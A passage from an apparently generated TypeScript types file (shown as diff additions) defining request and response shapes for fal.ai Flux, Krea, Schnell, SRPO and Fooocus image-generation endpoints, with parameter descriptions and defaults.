initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxDevImageToImageOutputFormatEnumKey +} + +export type ImageB0E308D7 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxDevImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageB0E308D7[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize2F23Fba8 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxDevReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxDevReduxAccelerationEnumKey = + (typeof inputFalAiFluxDevReduxAccelerationEnum)[keyof typeof inputFalAiFluxDevReduxAccelerationEnum] + +export const inputFalAiFluxDevReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxDevReduxImageSizeKey = + (typeof inputFalAiFluxDevReduxImageSize)[keyof typeof inputFalAiFluxDevReduxImageSize] + +export const inputFalAiFluxDevReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxDevReduxOutputFormatEnumKey = + (typeof inputFalAiFluxDevReduxOutputFormatEnum)[keyof typeof inputFalAiFluxDevReduxOutputFormatEnum] + +export type InputFalAiFluxDevRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxDevReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize2F23Fba8 | InputFalAiFluxDevReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxDevReduxOutputFormatEnumKey +} + +export type ImageAc9E98Ae = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxDevRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageAc9E98Ae[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize73E5Fc4F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxKreaAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKreaAccelerationEnumKey = + (typeof inputFalAiFluxKreaAccelerationEnum)[keyof typeof inputFalAiFluxKreaAccelerationEnum] + +export const inputFalAiFluxKreaImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaImageSizeKey = + (typeof inputFalAiFluxKreaImageSize)[keyof typeof inputFalAiFluxKreaImageSize] + +export const inputFalAiFluxKreaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaOutputFormatEnumKey = + (typeof inputFalAiFluxKreaOutputFormatEnum)[keyof typeof inputFalAiFluxKreaOutputFormatEnum] + +export type InputFalAiFluxKrea = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A candid street photo of a woman with a pink bob and bold eyeliner on a graffiti-covered subway platform. She wears a bright yellow patent leather coat over a black-and-white checkered turtleneck and platform boots. Natural subway lighting creates an authentic urban scene with a relaxed, unposed feel. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize73E5Fc4F | InputFalAiFluxKreaImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaOutputFormatEnumKey +} + +export type Image7Bbc2185 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxKrea = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux_krea_t2i_output_1.jpg","width":1024}] + * @type array + */ + images: Image7Bbc2185[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFluxKreaImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKreaImageToImageAccelerationEnumKey = + (typeof inputFalAiFluxKreaImageToImageAccelerationEnum)[keyof typeof inputFalAiFluxKreaImageToImageAccelerationEnum] + +export const inputFalAiFluxKreaImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxKreaImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxKreaImageToImageOutputFormatEnum] + +export type InputFalAiFluxKreaImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaImageToImageOutputFormatEnumKey +} + +export type Image4B3090Cd = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxKreaImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image4B3090Cd[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeF3C4219A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxKreaReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKreaReduxAccelerationEnumKey = + (typeof inputFalAiFluxKreaReduxAccelerationEnum)[keyof typeof inputFalAiFluxKreaReduxAccelerationEnum] + +export const inputFalAiFluxKreaReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaReduxImageSizeKey = + (typeof inputFalAiFluxKreaReduxImageSize)[keyof typeof inputFalAiFluxKreaReduxImageSize] + +export const inputFalAiFluxKreaReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaReduxOutputFormatEnumKey = + (typeof inputFalAiFluxKreaReduxOutputFormatEnum)[keyof typeof inputFalAiFluxKreaReduxOutputFormatEnum] + +export type InputFalAiFluxKreaRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://storage.googleapis.com/falserverless/example_inputs/flux_krea_redux_output_1.jpg + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeF3C4219A | InputFalAiFluxKreaReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaReduxOutputFormatEnumKey +} + +export type ImageA19304E0 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxKreaRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux_krea_redux_output_1.jpg","width":1024}] + * @type array + */ + images: ImageA19304E0[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize969D7Fc9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxSchnellAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxSchnellAccelerationEnumKey = + (typeof inputFalAiFluxSchnellAccelerationEnum)[keyof typeof inputFalAiFluxSchnellAccelerationEnum] + +export const inputFalAiFluxSchnellImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxSchnellImageSizeKey = + (typeof inputFalAiFluxSchnellImageSize)[keyof typeof inputFalAiFluxSchnellImageSize] + +export const inputFalAiFluxSchnellOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxSchnellOutputFormatEnumKey = + (typeof inputFalAiFluxSchnellOutputFormatEnum)[keyof typeof inputFalAiFluxSchnellOutputFormatEnum] + +export type InputFalAiFluxSchnell = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxSchnellAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize969D7Fc9 | InputFalAiFluxSchnellImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 12 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxSchnellOutputFormatEnumKey +} + +export type Image37F29Ab7 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxSchnell = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image37F29Ab7[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeB91E4624 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxSchnellReduxAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxSchnellReduxAccelerationEnumKey = + (typeof inputFalAiFluxSchnellReduxAccelerationEnum)[keyof typeof inputFalAiFluxSchnellReduxAccelerationEnum] + +export const inputFalAiFluxSchnellReduxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxSchnellReduxImageSizeKey = + (typeof inputFalAiFluxSchnellReduxImageSize)[keyof typeof inputFalAiFluxSchnellReduxImageSize] + +export const inputFalAiFluxSchnellReduxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxSchnellReduxOutputFormatEnumKey = + (typeof inputFalAiFluxSchnellReduxOutputFormatEnum)[keyof typeof inputFalAiFluxSchnellReduxOutputFormatEnum] + +export type InputFalAiFluxSchnellRedux = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxSchnellReduxAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/kangaroo/acQvq-Kmo2lajkgvcEHdv.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeB91E4624 | InputFalAiFluxSchnellReduxImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 12 + * @default 4 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxSchnellReduxOutputFormatEnumKey +} + +export type ImageBb865A82 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxSchnellRedux = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: ImageBb865A82[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize48D8Ad78 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxSrpoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxSrpoAccelerationEnumKey = + (typeof inputFalAiFluxSrpoAccelerationEnum)[keyof typeof inputFalAiFluxSrpoAccelerationEnum] + +export const inputFalAiFluxSrpoImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxSrpoImageSizeKey = + (typeof inputFalAiFluxSrpoImageSize)[keyof typeof inputFalAiFluxSrpoImageSize] + +export const inputFalAiFluxSrpoOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxSrpoOutputFormatEnumKey = + (typeof inputFalAiFluxSrpoOutputFormatEnum)[keyof typeof inputFalAiFluxSrpoOutputFormatEnum] + +export type InputFalAiFluxSrpo = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxSrpoAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example Mountain guide, sturdy build, wilderness wisdom, alert gaze, technical outdoor gear with rope coils, snow-capped peaks background, crisp mountain lighting, leading pose, wind-swept hair with full beard, weather-worn face with quiet confidence, alpine expert presence + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize48D8Ad78 | InputFalAiFluxSrpoImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxSrpoOutputFormatEnumKey +} + +export type Image43D8C0Ca = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxSrpo = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"height":768,"content_type":"image/jpeg","url":"https://storage.googleapis.com/falserverless/example_outputs/flux-srpo-output.jpeg","width":1024}] + * @type array + */ + images: Image43D8C0Ca[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiFluxSrpoImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxSrpoImageToImageAccelerationEnumKey = + (typeof inputFalAiFluxSrpoImageToImageAccelerationEnum)[keyof typeof inputFalAiFluxSrpoImageToImageAccelerationEnum] + +export const inputFalAiFluxSrpoImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxSrpoImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxSrpoImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxSrpoImageToImageOutputFormatEnum] + +export type InputFalAiFluxSrpoImageToImage = { + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxSrpoImageToImageAccelerationEnumKey + /** + * @description The prompt to generate an image from. + * @example A cat dressed as a wizard with a background of a mystic forest. + * @type string + */ + prompt: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The URL of the image to generate an image from. + * @example https://fal.media/files/koala/Chls9L2ZnvuipUTEwlnJC.png + * @type string + */ + image_url: string + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxSrpoImageToImageOutputFormatEnumKey +} + +export type Image90E00D30 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFluxSrpoImageToImage = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @type array + */ + images: Image90E00D30[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type LoraWeight7Aab8269 = { + /** + * @description URL or the path to the LoRA weights. + * @example https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0/resolve/main/sd_xl_offset_example-lora_1.0.safetensors + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 0.1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFooocusOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + webp: 'webp', +} as const + +export type InputFalAiFooocusOutputFormatEnumKey = + (typeof inputFalAiFooocusOutputFormatEnum)[keyof typeof inputFalAiFooocusOutputFormatEnum] + +export const inputFalAiFooocusStylesEnum = { + 'Fooocus V2': 'Fooocus V2', + 'Fooocus Enhance': 'Fooocus Enhance', + 'Fooocus Sharp': 'Fooocus Sharp', + 'Fooocus Semi Realistic': 'Fooocus Semi Realistic', + 'Fooocus Masterpiece': 'Fooocus Masterpiece', + 'Fooocus Photograph': 'Fooocus Photograph', + 'Fooocus Negative': 'Fooocus Negative', + 'Fooocus Cinematic': 'Fooocus Cinematic', + 'SAI 3D Model': 'SAI 3D Model', + 'SAI Analog Film': 'SAI Analog Film', + 'SAI Anime': 'SAI Anime', + 'SAI Cinematic': 'SAI Cinematic', + 'SAI Comic Book': 'SAI Comic Book', + 'SAI Craft Clay': 'SAI Craft Clay', + 'SAI Digital Art': 'SAI Digital Art', + 'SAI Enhance': 'SAI Enhance', + 'SAI Fantasy Art': 'SAI Fantasy Art', + 'SAI Isometric': 'SAI Isometric', + 'SAI Line Art': 'SAI Line Art', + 'SAI Lowpoly': 'SAI Lowpoly', + 'SAI Neonpunk': 'SAI Neonpunk', + 'SAI Origami': 'SAI Origami', + 'SAI Photographic': 'SAI Photographic', + 'SAI Pixel Art': 'SAI Pixel Art', + 'SAI Texture': 'SAI Texture', + 'MRE Cinematic Dynamic': 'MRE Cinematic Dynamic', + 'MRE Spontaneous Picture': 'MRE Spontaneous Picture', + 'MRE Artistic Vision': 'MRE Artistic Vision', + 'MRE Dark Dream': 'MRE Dark Dream', + 'MRE Gloomy Art': 'MRE Gloomy Art', + 'MRE Bad Dream': 'MRE Bad Dream', + 'MRE Underground': 'MRE Underground', + 'MRE Surreal Painting': 'MRE Surreal Painting', + 'MRE Dynamic Illustration': 'MRE Dynamic Illustration', + 'MRE Undead Art': 'MRE Undead Art', + 'MRE Elemental Art': 'MRE Elemental Art', + 'MRE Space Art': 'MRE Space Art', + 'MRE Ancient Illustration': 'MRE Ancient Illustration', + 'MRE Brave Art': 'MRE Brave Art', + 